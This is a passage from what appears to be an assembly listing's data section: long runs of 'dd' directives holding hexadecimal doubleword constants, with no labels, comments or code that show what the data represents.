0FBBD1806h, 46021885h dd 0FDC5E13Fh, 1B9C8086h, 8DC0C7Eh, 0C4212B01h, 0A3759E3Dh dd 811312C0h, 404E87DFh, 5208B7Fh, 0A104381Bh, 8084F2A9h dd 95C08153h, 517849B7h, 190028F4h, 0D8D6A821h, 0E424A26h dd 674354BAh, 93D2CEA0h, 0BD38E717h, 8235AED1h, 0FC009517h dd 48B04331h, 84C33C9Ah, 0C5AEC000h, 38727434h, 71FDD400h dd 0EF2822A9h, 2BB518ADh, 5D7728FAh, 827A8913h, 6819900h dd 5F51BCEh, 1F301A68h, 3980273h, 6C5088E1h, 3C978D00h dd 34656B6Eh, 5F9200A0h, 83D6E229h, 9007CC7Dh, 44D00130h dd 69789D51h, 0A8240C0h, 628FD1C7h, 3AF50085h, 0DE26B1D5h dd 7B06C4F0h, 22DA8A63h, 1AA70038h, 76CDAD39h, 4918049Fh dd 7188359Ch, 0F978014Ch, 40BCE888h, 59D3F0DFh, 4D4D450h dd 8050013Dh, 3D833914h, 3295E8Ah, 1B30EBE8h, 0ABEBA0C5h dd 602F7AA9h, 0DF07F5B8h, 9573E34Dh, 0E0AD4BA2h, 1E10BC2h dd 92B1A6F1h, 0C476FA1Fh, 454DA37Bh, 3D4F0014h, 14A299BEh dd 0CA5601E5h, 0AF841002h, 62CC20C9h, 4869FF00h, 55D0CD51h dd 3F060440h, 0A03BAEFAh, 95002158h, 8D02BF56h, 3A84C77h dd 7E2CB20Dh, 0C29A645Eh, 9A567FC0h, 6EE40505h, 38C0E99Dh dd 0ECCB21Ah, 0EB7BCF24h, 0C866DF60h, 16FE53A0h, 54D258h dd 4D69FE70h, 12901EC4h, 0D39E78F0h, 25983C7Ch, 0AFA0AAC8h dd 0B007A58Fh, 9FC0805Ah, 40583EC2h, 1BC84DCh, 998DF7EFh dd 0ED72FA95h, 6C20C0A0h, 3A0032EEh, 0EB7750CDh, 79B428D8h dd 949900C7h, 53A55968h, 0A892B702h, 23BBD500h, 0C75DC26Dh dd 6AF00078h, 2008E136h, 0DFA4094h, 0DC09D89Ah, 20112CABh dd 0B8716EB8h, 87E3050Ch, 80495440h, 0F93B264h, 5CD97200h dd 3344D5A5h, 9AF20DA7h, 2410A64Dh, 0FE0F3A04h, 2404A1F7h dd 1C80307Eh, 0D1C3C6h, 0B3B43CE1h, 61335C13h, 8E6F553Eh dd 6CE88DDh, 3E0C167h, 4597EBC4h, 1000EF5Fh, 0A9603969h dd 2E8C86Eh, 3F64C470h, 0BC407AF0h, 8EED222h, 0F64Eh, 3601258Fh dd 77661D95h, 0B9C91433h, 1F490D04h, 0BB3C804Ah, 201A6F8h dd 0E6A17150h, 6BE4D0B1h, 0F55B00C0h, 0F989FE66h, 6914366Fh dd 4ECBD31h, 3574E747h, 0CB91480h, 0ACBA95h, 0B3ED6C6Bh dd 1EF09470h, 1A16021Dh, 0F98B3780h, 1BDC06h, 97B3AC9Eh dd 7D5B88BEh, 88DF0A73h, 0FBDC811Ch, 0E3D38201h, 7FC8E6CBh dd 12F000D4h, 81ADB1C0h, 9F003349h, 5FB708C6h, 945017h dd 8ECE2607h, 8B65D196h, 47A4F800h, 0CBEEA764h, 6385046Ch dd 870194C9h, 8A3F70F7h, 0F800A408h, 5B71FF0Eh, 0B6D3BAh dd 0A5B8452Eh, 0E6E1F184h, 0F9E77500h, 1FF0E577h, 1A6F0062h dd 23B77A3Fh, 0FF025347h, 5AD40466h, 0FBC5840h, 0EC6A9681h dd 4615EB60h, 840021ACh, 719E67B3h, 0D85F19h, 0F3411F4Fh dd 10D41DCEh, 6CCC0701h, 6E18A88Fh, 1E2B7C30h, 50AD9B5Ah dd 0B8C81594h, 24AC11E8h, 5E01584Ch, 5473394Ah, 9C40F8B7h dd 5AA54400h, 89AEBC33h, 560909Fh, 8507ABCFh, 7A85C0C6h dd 3A00D28Fh, 316C4741h, 0F6513D04h, 9838000Bh, 11FB58C8h dd 70FCEF80h, 40C2B351h, 0F87EAEDFh, 0D3865400h, 0E05B416Bh dd 909861h, 0D4479836h, 0BC6DCBF9h, 9680F48h, 874E9EE5h dd 8EE04F6Ah, 319B71h, 99D18B3Bh, 37951F2Bh, 7DA7BA00h dd 25822E2Ah, 608507CEh, 60AEE07Bh, 0A593965Dh, 0A312FC0Fh dd 0BD356275h, 0E758F0h, 0C3FEEB2Eh, 41332772h, 53025400h dd 44D9FC0Dh, 0BF3600D6h, 870B7E68h, 601ECD95h, 80FC169Dh dd 0D8D0C409h, 1B466BBh, 0FF04536Dh, 422D6122h, 1C4065A1h dd 5500E6B2h, 0F6270824h, 8AECEAh, 797B8252h, 5F6BFF96h dd 0C900A77Dh, 0F8D6E767h, 4B9201h, 0FEC6092Ah, 5333EFA9h dd 145B1500h, 59695221h, 4DD01DEEh, 13E600A8h, 4CA9CE4Eh dd 4347150Fh, 2A29DAh, 6DABD86Dh, 96A800C8h, 50EB4E4Fh dd 6A0053FEh, 0D5E5A745h, 0F6EC9FC7h, 0CF5E7728h, 61E0D928h dd 863A60BEh, 0B637EE00h, 0B87F1BF0h, 0E93100DFh, 342E1172h dd 8000A368h, 0B347DCA6h, 0F0EF18FCh, 0ACEE0028h, 8EF171BBh dd 0FA0149D4h, 8B267E77h, 2630E197h, 0C47F3Dh, 0AA375A73h dd 0F33A5B2Eh, 5FF84E17h, 2B2D7C00h, 12FD1879h, 5DA1B9h dd 6658381Bh, 98007D03h, 652E126Eh, 48527401h, 147E4BC0h dd 0F4924BDEh, 79ABB90Eh, 91C32E20h, 1E00F682h, 0FBB79F0Eh dd 0E55DEDh, 0BFC7D696h, 2953C1CFh, 6F983000h, 5D750A8Bh dd 60A60073h, 24834FB7h, 0DB075E15h, 77A4B444h, 8C4AFCD0h dd 7137638Bh, 26A0FDADh, 8E0C86CFh, 187C9D7Dh, 77BD008Dh dd 0DDC48B75h, 31C939E4h, 2F7D8657h, 8406031h, 0C0E8AC8h dd 7493B900h, 1EB87BE1h, 140F90C5h, 0D1D70A96h, 7151CD00h dd 820EC968h, 8E008B7Bh, 76757D81h, 0A84DF729h, 6F84E180h dd 4000A8B1h, 64E586C7h, 0ACC03601h, 1CE22211h, 24E1042h dd 20A12894h, 0DC5E34A9h, 770015BFh, 0CB0CED8h, 3A97BE94h dd 3800F9BAh, 9070FB85h, 0B607EC7Eh, 0A0F2614Dh, 93A6E960h dd 0BC22008Ah, 8C3A5F7Fh, 0E2005030h, 18D8C16Ah, 75AE0440h dd 5010E7Bh dd 0A7E01787h, 75D44315h, 1BE1F500h, 0F37F9277h, 600B07B9h dd 0C0BBA8D3h, 0BECB83A3h, 0FE5ABD00h, 828CC5ECh, 74990A50h dd 83B04B61h, 0BB35BAE3h, 0F300E178h, 8FAF7D25h, 1A33909h dd 1A41E8BDh, 0F47875F5h, 93006E69h, 3C9A38ABh, 1DAA144h dd 8835F8C5h, 7046AC87h, 61F85008h, 4E4A90A9h, 556D8204h dd 321C4061h, 42580046h, 0B15D7B67h, 7D70EFC3h, 0A60F4DB8h dd 21E43F6Dh, 0EA412A40h, 0E12811D3h, 974508B2h, 0E63308EEh dd 5154AD8Ch, 0E4B344C5h, 8457F844h, 2953E831h, 4711B469h dd 830B12C7h, 30F05828h, 0C7510D79h, 4700B151h, 0B9DC2FA6h dd 17A1895h, 0C49B7399h, 6033A73Fh, 0CD01049Eh, 0A2C1DEE6h dd 6A436B8h, 8DC300D0h, 0A4DB08CBh, 1CE35026h, 0FC3B08h dd 8BEAD3C4h, 0AB183193h, 92187B4Ch, 86AF1E20h, 0DCC83ADEh dd 59978000h, 0C4444856h, 6FF71A00h, 63B5724h, 3627A21h dd 500AC797h, 99B864C1h, 0A400A7D1h, 54A94AFFh, 0C9F4E6h dd 4409B62Dh, 0C1B05BDAh, 26EF3B13h, 0BA559430h, 0D6CB0397h dd 47B4711Dh, 0B8191000h, 0F63C0E7Ch, 5B393C6Ah, 0C4E4600Eh dd 3A929300h, 0D1F4E97h, 817A0F36h, 81B28C6Fh, 0D31ECCBh dd 0FB4CF8h, 6754A89Eh, 62747559h, 693E0101h, 0D716CA32h dd 4412F8h, 182DBEB9h, 4381FD2Ah, 0ABFE4271h, 653BB20Ch dd 312045h, 0F2AAB4F9h, 8F66E070h, 95038800h, 58A1E7C3h dd 312700BAh, 0DA4543EFh, 901CAAD3h, 0D24183F8h, 9C5A89F7h dd 4D43A70h, 2926BB08h, 0A75480DDh, 6009EE8h, 725AADEFh dd 4899D7F9h, 0BD00A7F8h, 56B9F1EBh, 0DA014C16h, 36134C9h dd 6FFCB0FCh, 8F0A00EFh, 93E2C504h, 0E800441Ch, 0A91106DEh dd 2CB99C96h, 6070BAD1h, 8AAE36EEh, 2F463000h, 0BE1323CAh dd 541B0145h, 77E028E5h, 4221CC99h, 0E1CC9600h, 0CAF43336h dd 0D1020F6Ah, 0A600673Eh, 0E424C8DBh, 5B1AE02h, 0C86E9D66h dd 223FEF4h, 1783F033h, 4168A812h, 3800DF3Eh, 0A3C14BA6h dd 0CFE35E66h, 43E08E10h, 306C33Dh, 99E034F8h, 813C48DCh dd 332A3683h, 5DCB7D0h, 0B7C0018h, 9F7A1E23h, 0A300DFC7h dd 9A4CB43h, 0CF296Bh, 7FF9B120h, 5E31E00Dh, 0A2A6240Ah dd 5B00E08Dh, 0E6C18ADEh, 0FB8300C5h, 50F3B0B3h, 2D051E88h dd 66CC38BFh, 3D9A1CC0h, 8F2A0042h, 0A43C3E52h, 0F8C0793Bh dd 49DD04C7h, 57400F8Ah, 3860E3CEh, 8D61C72h, 42973B00h dd 0D3B21E81h, 0FEDE0039h, 0A6D94928h, 0AE1FD28Ch, 8D40F626h dd 7A2367B2h, 86F100F4h, 0D5D9650Ch, 0D2CB7ABh, 0B38074FDh dd 5D3A6C94h, 234600AAh, 4C85C343h, 973E2FA7h, 0B2B600EFh dd 0B5C77819h, 0EE5100D0h, 23AFAC67h, 7D0056BCh, 5FCEC118h dd 12FCFD91h, 9AACAh, 0E4CC80Ch, 0D012DFBBh, 601C8DC0h dd 3C316287h, 1FDD3C0h, 543B0047h, 0AFCF21DDh, 130AB173h dd 0DCE288C4h, 23601000h, 3ABA053Ch, 6800BFC3h, 416E4AF1h dd 37062C96h, 6D63448Eh, 0D4C90010h, 0D0178035h, 7B09BABBh dd 0A023323Eh, 0F8F78D4h, 9CF8387Dh, 11C89980h, 32DDB2C3h dd 9752D63Fh, 0B8005957h, 148D6F88h, 0CD5A00AAh, 0B124FB4Dh dd 950070C0h, 0F9988467h, 35EDDD8h, 295C2A32h, 35E90EA2h dd 47888079h, 2B4AC9B0h, 0A3FF0045h, 5ACA974Fh, 0D300EF10h dd 0FCC46FB8h, 0A7175h, 0FF21B642h, 0FEDAE64Eh, 2B6D100Fh dd 2A7300A0h, 73EB48Ch, 0C8139BB9h, 0F5EEF0F1h, 42000481h dd 0A5B0990h, 7D5D3CFh, 7B9F5734h, 4719E1E0h, 0F080FA05h dd 77ED1C5Ah, 29789400h, 6A7E13Eh, 1F0E0046h, 3DFF470Ah dd 590518CCh, 4B69D494h, 0F089C5C0h, 0FD90A3h, 77D85476h dd 62561AC5h, 0D478CA00h, 459C66BBh, 6FE3DACh, 0F80D881h dd 6037D33Bh, 3A006F75h, 0ABB414D5h, 269A9DBEh, 16784489h dd 91300397h, 1CC354E4h, 0CA5B37E8h, 499EBC91h, 40C57FC0h dd 1F4C9E0h, 0CAE6B4DDh, 0D4934EFAh, 5E600227h, 0D3246111h dd 0C78E18C8h, 29E66013h, 8BA91600h, 2BC2DC66h, 0CC2748F3h dd 44E9C100h, 0B4CEE69Ch, 0C696A700h, 43BB4133h, 1B6C009Bh dd 0D6B64C9Dh, 0FA3A2D3Eh, 0B1E50381h, 0B86DA7DFh, 4311553h dd 3245F265h, 7021C713h, 2AD0CBCAh, 19231D0Bh, 0BF0880DBh dd 94DCF8h, 7784463Eh, 3AA8FF6Eh, 0EE44B25h, 98B8C0C8h dd 6FFE1Ch, 0A1599938h, 0CACEDA2Ah, 720FA4B2h, 0E0B3937Ah dd 169F0C94h, 34A604FEh, 80867BEDh, 0A367BD64h, 0CA588C0Eh dd 0A95187C8h, 6B22BC0h, 73A50030h, 66A6CC1Ah, 3900AE5Fh dd 0E04246B6h, 13132EA1h, 0D59132h, 0FA52D27Eh, 552E4377h dd 0B58268DAh, 40A8E22Ch, 0E4465C9Ch, 3BB8A0CBh, 7183794Ch dd 20EC00E5h, 1EB062F6h, 530C4863h, 28CC2584h, 0A3B61CC3h dd 0A9440090h, 8559DA43h, 7D791803h, 0C8EB1178h, 62BB17h dd 7CAB681Fh, 0AA987F6Ah, 29F08200h, 5D1080B9h, 66A0078Ch dd 517B43CFh, 0D4981E48h, 72000BDBh, 0FD606A9Ch, 0B087E9D7h dd 378200F3h, 666E8B7Eh, 0E9985E41h, 0CFF12E00h, 0AE8EE06Ch dd 905DF47Ch, 319E008Ch, 0CDE1D3D1h, 7300CBDCh, 0F1C02A81h dd 3BAB6E2Fh, 8780E73Eh, 0ECA87EDEh, 927490D0h, 77F2BD12h dd 4C41C000h, 4C95309h, 3FCF9D3Ah, 108C80CDh, 74901E1h dd 69409D68h, 125A4015h, 0FD84F0Dh, 0A3A02E38h, 0D5C120C9h dd 21268600h, 7ACD6803h, 0FC760043h, 0E1E5A8E3h, 624DE684h dd 7D670ED8h, 0D4F40Ah, 0F9CDAD9h, 98E7F4h, 22183580h dd 6AA03EAFh, 0BBBC332Ch, 59507500h, 90B51E6Ch, 0DF66007Ch dd 6B6AE4BAh, 0F0004ADDh, 0A6820F88h, 0EF2E01h, 73FBFA74h dd 6D65771Ch, 0D2818F0Bh, 5770008Eh, 0B1B893h, 1CAA0B4Bh dd 0F46B96E4h, 8BB7FB00h, 90C44E98h, 0B52B0B8Eh, 5080DFE1h dd 2252F2ECh, 7A4D14C1h, 80418124h, 0D2FC1592h, 68BF0033h dd 93F11908h, 0C6073857h, 868EA598h, 0DA487BB0h, 6844012Dh dd 20AD971Fh, 4FD6E0F2h, 1921A212h, 783774C0h, 0B897706Fh dd 82A107BCh, 0F12768A7h, 0F45C7673h, 6033589h, 84920AE1h dd 3F8CE06Bh, 80600372h, 96341A9Bh, 130CA9B8h, 36F09907h dd 8CA1A85Bh, 0C0F0EB4Ah, 924B0A35h, 8BB427A3h, 0E80FAE2h dd 0A4D0B0DAh, 35290C00h, 0ACAD8C97h, 6E991F7Ch, 70198011h dd 93BC3818h, 506AB63Ah, 0F07221C2h, 43C73B00h, 59EF5130h dd 7F220061h, 0DA9F17E8h, 8B004EBBh, 811C71F1h, 7AD04110h dd 371D00E2h, 0EE0835AEh, 5A071602h, 94DA19D6h, 93899140h dd 0BD130066h, 0D2EDB40Eh, 61120D63h, 0F0418FE0h, 3C34041Fh dd 3ADE8720h, 6A802B73h, 158A725Ah, 98024E3Dh, 29E477DAh dd 9A74C01Ah, 2BFD24BFh, 160C07C6h, 0B351074h, 8A00779Ch dd 44706C63h, 3F851BDAh, 6A007C13h, 49F2258Fh, 3CC0FC67h dd 3FAC0A76h, 0CF5901F9h, 20170EECh, 9BD06094h, 0B4332200h dd 12324BCAh, 0E8194C4Fh, 0CD9C843Dh, 0F71A4E95h, 85EB6680h dd 8F0003E3h, 46E135ACh, 3FA6DA45h, 1000A8FAh, 0E2130B48h dd 392ED1F0h, 1F0038E9h, 66CEA0Dh, 178A00A8h, 292C8F79h dd 0E21E7610h, 0DF421DEEh, 0E07BF650h, 77D9BFC0h, 0BD04005Ah dd 0A1A8B944h, 9E9017B8h, 0C11F1901h, 0E571C6F8h, 0FF52A840h dd 4CB22D45h, 0EF1A0800h, 0D104EA6Dh, 3A8E8BA3h, 9E1C480h dd 49790398h, 74912465h, 561ED8E0h, 0ED00B0B2h, 0B917DBAAh dd 0F68DA5h, 0DFAEACD7h dd 8ECAE249h, 2338C400h, 1BC751BFh, 902550A9h, 9EAA0299h dd 0EFD14A2Bh, 44FB9D00h, 9060FEB8h, 107104h, 3F6BF164h dd 3CC93ED9h, 6E04A00Eh, 2F0CE57Ch, 2A2990D0h, 38BD288Ah dd 612C00A8h, 0CAF819D3h, 60027FFFh, 665E39C2h, 80D8E0A4h dd 1042600Dh, 8199D7F3h, 0CD002F75h, 0A956737Ch, 3DC5D0h dd 863FC691h, 68CE0B11h, 9395883Dh, 0B482E064h, 63B851CAh dd 0CBF9D910h, 0FB9220CCh, 0B04B4E00h, 9D128570h, 0EC8A282Dh dd 0AB281DB4h, 0C2E3C7FFh, 0F38180EDh, 92002B25h, 273EB8EBh dd 8FC9FCh, 0D3D23AFBh, 0E3AFB27Eh, 35871918h, 444F58h dd 0FF70A8ADh, 0A542810Fh, 61458A02h, 80721BBAh, 9E079BC3h dd 1CE8779Ah, 0D7148D6Eh, 43F20FE9h, 6860834Eh, 4AED875Ah dd 0F75CA602h, 40AE57E0h, 655324h, 0AC84231Ch, 0A28F75AFh dd 0D980F094h, 92C4E496h, 20B6DBh, 0E826EA7Ch, 0B1000A2Dh dd 0E18EDE38h, 0BEEC2Eh, 8C577ADFh, 837CBCC0h, 1AB3C309h dd 0FC2500F3h, 84C1AFh, 856A9B4Eh, 23E8193Eh, 8B01ACB0h dd 0E0663AA4h, 0B4C87606h, 1C24B05Ch, 5651B21Eh, 4AE8004Eh dd 41DBFBF5h, 0EEB57207h, 40F1C32Ah, 29C06016h, 0BCF0063h dd 6FD46E12h, 2A0083F8h, 498BCCC2h, 0EC4FBA48h, 0E275C4h dd 80619066h, 3EC674FEh, 60008BAh, 29B1C395h, 70FF08h dd 85FE6101h, 4E8830DCh, 0DB846200h, 351ABA38h, 4B740146h dd 0EE3EB401h, 0E63DC455h, 26BEEA01h, 85332983h, 0AC243CE1h dd 5AFD3BC6h, 877BAE80h, 1355948Bh, 88966B09h, 1E140091h dd 3E32F1ECh, 5D00FFC5h, 9641DC0Eh, 0CD0C2EC3h, 1086FE8Ah dd 7620FDF0h, 6DBF00CFh, 0C3EFD5D0h, 130BA756h, 22E7B40Bh dd 607A5800h, 3F708870h, 78870F8Ch, 73F2497Fh, 3807C5A8h dd 5A896156h, 0C0EEEE85h, 7D40AE8Ah, 0D5DB9D00h, 0C72B07FAh dd 45170E7h, 54DA52B1h, 0F18C2D3h, 9960AC48h, 563CE1Ch dd 0CB90123Fh, 7239CC00h, 0E29CFA9Fh, 2C88006Ch, 0B262EFF8h dd 491216C2h, 1C000F3Ah, 11E89918h, 137EFE07h, 5095430h dd 0D02EF65Ch, 2CDB087Ch, 2DCABE00h, 1911977Bh, 0B0CC92A0h dd 8C230029h, 0C3CE4CE3h, 0DA3D259Ah, 853B00A9h, 0CA48FE8Dh dd 39D307C7h, 0E0E0CE08h, 319BED2Fh, 0C5BC3700h, 0FC24E482h dd 9A6705ABh, 806E9253h, 63F52B10h, 0FC310A4Bh, 0B7F804FBh dd 6ACD002Dh, 4B9D747Fh, 91C214h, 0F5E0E900h, 3E0C2E93h dd 1CCD2112h, 71397700h, 0D3C303D2h, 0A5008498h, 4889C7E3h dd 587351D7h, 280440F1h, 800CA3D8h, 0A19DBD18h, 0FFFC7700h dd 0A6FD75E8h, 0B10D0061h, 9E9F0181h, 530099DEh, 7CC9CDBh dd 2E8BC2h, 8DA6FE0Bh, 6169E1D1h, 82C07D3Dh, 4BE6D71h dd 8A74C018h, 8D2C0034h, 0CD861495h, 733F221Ah, 0C206F73Ah dd 0F09E0F32h, 3F7C0E2Eh, 4140F767h, 0BF217D8h, 11F89003h dd 0D0C927E8h, 0A40250h, 0B8AB7818h, 0CD8E9883h, 1F4A6C03h dd 0E9F32805h, 0E864E629h, 950301DEh, 0F6701286h, 2EA4700Eh dd 32A98F00h, 4B69CD15h, 30AB0EDh, 45874CDFh, 0A5D8E37Fh dd 5203C3A2h, 3181169Dh, 77F788B1h, 8F760B67h, 18C8F828h dd 5BFE29CBh, 167AF4F9h, 18D6AC30h, 0B81264C9h, 11C661E4h dd 3B4B1154h, 28321F00h, 7F78DC4h, 0CEC5514Dh, 0EADEE199h dd 0E9A6E075h, 473D210Fh, 0E8D28508h, 0F66D6080h, 0D04D03C6h dd 1C7653A8h, 0C10FB3C8h, 4BE5BE1Eh, 8037438Bh, 0B080B9BDh dd 9928008Ch, 6930E8F2h, 6C186DD0h, 0B688D372h, 88E8BC8Dh dd 604F4913h, 0C7297655h, 7D58C086h, 367AE575h, 0DDA3E200h dd 9CB6FCFh, 2A77FC44h, 24B37Bh, 58E0A9E1h, 87B443DBh dd 0E3190CA0h, 0ACC83900h, 0E4AA2911h, 0BF40003Ah, 0F9BAD456h dd 67F0EF1Ch, 42F8997Dh, 76632500h, 0A0742C9Dh, 0C87058h dd 0A37B7126h, 8FE45135h, 10802900h, 0B028D2F0h, 785D1222h dd 14BA006Eh, 13CF1B4Eh, 3C8D5E00h, 4CACCC83h, 75060724h dd 0C57492C5h, 2658038h, 94829EEh, 0B2200099h, 0B90EDA53h dd 2CDF0163h, 35CC54A1h, 0C81FF77Ch, 80FE1E92h, 0DDF1052Ah dd 12A7B6C0h, 2028657Eh, 0D383338h, 0C93C6B77h, 0AC15281Ah dd 91623000h, 99FFBE27h, 723100F7h, 47AF53E1h, 7302E240h dd 3292692Ch, 368340D9h, 3C13FAF4h, 0A85E20E5h, 10403356h dd 0DA30F812h, 87A11DB2h, 7C55009Dh, 5AD0F232h, 0B900C476h dd 94D3FBDDh, 0A1DCE2BFh, 0C180A485h, 0D61FAD2Fh, 0A624B008h dd 7300107Ch, 27C00920h, 0DD580119h, 3452DCB5h, 0CED18A4Bh dd 0F841F04Dh, 346CB76Ah, 759ADB00h, 9D04AE0Bh, 0A92C9105h dd 845EE460h, 7EA2B8C0h, 26DD5354h, 1ED9447h, 8EE9B284h dd 0C9C07A06h, 3BBF424Eh, 9080205Bh, 12EA3113h, 0F20FCE53h dd 20838E78h, 0EC14BA74h, 69A70075h, 3C72811Dh, 10CA7617h dd 34E00422h, 0F6CCE66h, 7053A18Ch, 6678A8Eh, 1922C0EAh dd 0BEE8727Eh, 0FF8D3501h, 90A1A769h, 6F813083h, 2911451Ah dd 91219C23h, 88B8C608h, 0AA883F3Eh, 0A90B877h, 0BDC0116Ah dd 3F513230h, 93007664h, 11FB6E4Ah, 0F6DFEED1h, 0EAA6005Dh dd 28FDE7B9h, 0B8000CD5h, 6535901Eh, 0F4BA246Dh, 589B860h dd 9AA8D33Ah, 289480E3h, 1C386E44h, 87FC8463h, 0CC80184Bh dd 7A50131h, 9CBDE76Bh, 58A8F0D6h, 3700E311h, 321BFE7Eh dd 68E861h, 659619D7h, 0DD586CAh, 77F4C303h, 0E8A853F1h dd 5BB755h, 0B45C848Eh, 0A58518Bh, 12476800h, 3E15214Bh dd 26B00145h, 0ADC753E3h, 7AC050CEh, 0C00F460h, 3DBA9336h dd 380158D0h, 65005D14h, 53219CF0h, 96008AB1h, 78024BB7h dd 369260Eh, 0F0DE831Bh, 0EC889933h, 490FBA1Dh, 0E085E0ADh dd 0F34665E7h, 0D2430152h, 4177CC09h, 0C18180F5h, 90CE3D12h dd 44DD026Bh, 1A2166CBh, 86A40C40h, 0B00071F8h, 0A5072D8h dd 350BFEh, 95986AA6h, 70E0567Dh, 806F0202h, 0E0D8946Ch dd 0F8406Eh, 0BA877C21h, 5AFE0198h, 0A826500h, 0B2069B1Ch dd 39FB017Bh, 5CD638BBh, 0F01231D2h, 0F430EEBCh, 89B91814h dd 527C008Bh, 0B534C877h, 400F37Dh, 0CADA647Fh, 51CC6h dd 4C351BEFh, 1D891E7Bh, 0BD951500h, 0C17A04B3h, 3C590052h dd 5C2E8CA9h, 93003E22h, 0FDD83203h, 5C9F616Fh, 0B01C62C7h dd 0FA9B40DBh, 6083EA21h, 0A76D8000h, 29A3F3AAh, 7784E404h dd 3163034Dh, 6049D2EFh, 7194F181h, 34B6601Fh, 0D53D2800h dd 2F698CB7h, 112C00E7h, 3ED2478Bh, 260030D3h, 0C6AC0D0Bh dd 651DE6h, 18957417h, 2243C767h, 7D52591Eh, 99BC840h dd 0F2E51225h, 79270EA8h, 0BC004A69h, 0B4C84670h, 72FC861Ch dd 0FB9894h, 0FB3FFE3Ah, 6B8341h, 0D4348B57h, 46A61571h dd 9D8C40E5h, 61007B45h, 0C4919BAEh, 24C1C6BCh, 201F10h dd 7C271436h, 10C025F6h, 0BCCDE7AEh, 38A901BFh, 0D2C133D8h dd 0E1203562h, 0C22A2h, 8F75067h, 2CB9360Dh, 129C9F42h dd 0FA2A00A9h, 6CF1C859h, 0D61D8600h, 0B19B1BC6h, 34D00045h dd 0C83A2312h, 0BA0505C9h, 0A54F6A71h, 329C8000h, 397EF0Ch dd 8E215EB0h, 20D8F53Ah, 7B00796Ch, 0AB4CCE85h, 0CD50A6h dd 0A1D3C8A4h, 755E2D5Ch, 82BBCA00h, 0C39AEB6Dh, 0B06350FBh dd 328001D1h, 1BFA25CEh, 41AE3185h, 0E812F4BCh, 0A10056E4h dd 1EFF61B2h, 109CCFh, 0E54A1AD7h, 3D25982Dh, 0D4EE61Ch dd 0D15C59C0h, 502069h dd 838AD557h, 85340ADAh, 94194C00h, 0B3631BC8h, 0E3D700ABh dd 784BD481h, 0F60FEB80h, 0C00C5E2Ah, 9196B81Eh, 1FC8F493h dd 80E2A5FFh, 0FD595C77h, 0E400E88Ah, 62AE7B6Ch, 0CB413h dd 0A72D3383h, 38B6BAA8h, 0FF563900h, 0C10748F3h, 0BE9B00CDh dd 7C3A3F14h, 0DB01EBDCh, 1E641309h, 0B4D86F93h, 0A36E3E32h dd 8055E99Eh, 7F76F7A2h, 0DA79EF43h, 80B46238h, 27AE67BCh dd 0ED0D2BC3h, 0BD6ACCh, 5752F7F5h, 9339C4Ah, 8FB2453Dh dd 3F883EEFh, 0E4381CC0h, 297FFCCh, 4B584E17h, 75E0A942h dd 7100ECB5h, 4A6D2367h, 0FB5E8Ch, 0FD5785B1h, 0E59BB847h dd 0B7FF9E00h, 770A33BDh, 0E4520767h, 50CBAE2Eh, 7465681Ch dd 0B00EEF6h, 64ED3533h, 98CF1A19h, 0E576007Dh, 42B26210h dd 0EF3CC77Eh, 9FCE806Dh, 0B82FDE40h, 82D5A02Ah, 296300ACh dd 0D01A2758h, 0FA0310BEh, 3B7224C6h, 86EDB85Bh, 2B9000CBh dd 58BA347Ch, 0A80091C1h, 0B30A67ACh, 278380h, 0E79ABF6h dd 355B58BCh, 0C98ABF00h, 1C372FFFh, 4B782Ch, 0C1AC6467h dd 3075C395h, 4AECD701h, 32D1D8DFh, 0B951D8h, 0AB21DCAAh dd 124022C0h, 88775D00h, 0D914C3Fh, 0B57B773Dh, 0FC01E8F8h dd 0F2CD4E30h, 69F0A6DEh, 40850043h, 60BE7CCAh, 0E200F72Dh dd 0A515D8C9h, 33BDE92h, 0EB13070Ah, 0B9D3B7C2h, 0C800A28Bh dd 0D2089DE5h, 0FB4658h, 7EDC5177h, 0F3BE2EA7h, 3EF9DF0Fh dd 0D31BC055h, 335E9Fh, 7C27140h, 0DB32FDB0h, 636A3700h dd 0DD68A33Dh, 0A27E00C6h, 21EE862h, 80006E06h, 3067DA9Ch dd 398DF829h, 5581BD1Ah, 0BE05E0EBh, 0E688809Fh, 0F20A2B39h dd 0A2460060h, 0A81BDC27h, 30005768h, 8A2F4CF5h, 1D97C0B6h dd 8FF3E9FDh, 74009033h, 0BADB5CE0h, 73792900h, 2B365612h dd 7FEE0Eh, 0F748C932h, 0D76BBD83h, 6E00A2FEh, 0C55C340Fh dd 0F60A31C0h, 597E252Fh, 781709C0h, 0D8281000h, 6E3D18A5h dd 9FF10712h, 0DEBBDEDFh, 7FFA1F80h, 750615FCh, 0F6962801h dd 0D7532610h, 3A93003Fh, 0DA1FFF2Dh, 43AC2600h, 0E0BEF3CFh dd 6BC30067h, 4742F85Dh, 593ACB98h, 43081337h, 60962D0Fh dd 3BE0D4F1h, 0A2E900F5h, 941DFC24h, 143D597Bh, 906B80C1h dd 1FFEDAE5h, 159100F9h, 82C4B76Fh, 0D9A08B83h, 0F018FF74h dd 0BA586AB2h, 13A30068h, 6157CFD2h, 0CA00124Ah, 4FFE8011h dd 1E6732A9h, 0C013DAE1h, 0A5502123h, 3B76B0A2h, 355A4A00h dd 0DEAFCD9Eh, 9BB2006Ch, 4B604CD8h, 4400EC37h, 6617C41Bh dd 7C76BC38h, 0A9680057h, 403B9FD6h, 0D700B490h, 0ECD02CF1h dd 7E813Dh, 0D56D1ACAh, 0B1AABE30h, 0BB376A1Eh, 0AD008868h dd 45295FE4h, 46613h, 0AFA2D3FBh, 0FFF06D33h, 78893407h dd 9CA3220Ch, 8547C8C1h, 430F3AD8h, 0BAA36180h, 8CE5CA9h dd 6C63BB00h, 1FB19204h, 6F40147Ah, 1400C7F6h, 0D41029F3h dd 921CC76Eh, 82C037EFh, 2D59695Eh, 261500CAh, 7A655702h dd 48E09FEBh, 0F1DBCC14h, 34A828DCh, 0C106D8FCh, 15FD8FA4h dd 27221091h, 6087000Dh, 0D004DD95h, 5D2B00D4h, 0CDCBCAA2h dd 69EC7557h, 0BEB964C0h, 5F5B83h, 0DE586C92h, 0CD6719D5h dd 7269DF00h, 0CBA261D4h, 66020965h, 3006C2DDh, 0D9483CABh dd 55280530h, 0C0FBCB87h, 745C6749h, 46381900h, 0A51F4EBFh dd 32C10E8Ch, 80FC0409h, 42200C64h, 9D123F35h, 37009731h dd 0A60654B0h, 7F740037h, 671A4123h, 0D008B3Fh, 88140A11h dd 1ECD1E7h, 2F5457D2h, 8B6882EEh, 80FADD54h, 19B095AFh dd 0E54B002Bh, 0D2F8D6B7h, 0CE1D8E68h, 1F871DADh, 0ACB04F1Ch dd 0ECF5835Dh, 79370FA2h, 30263ADAh, 5101104Dh, 740DF80Eh dd 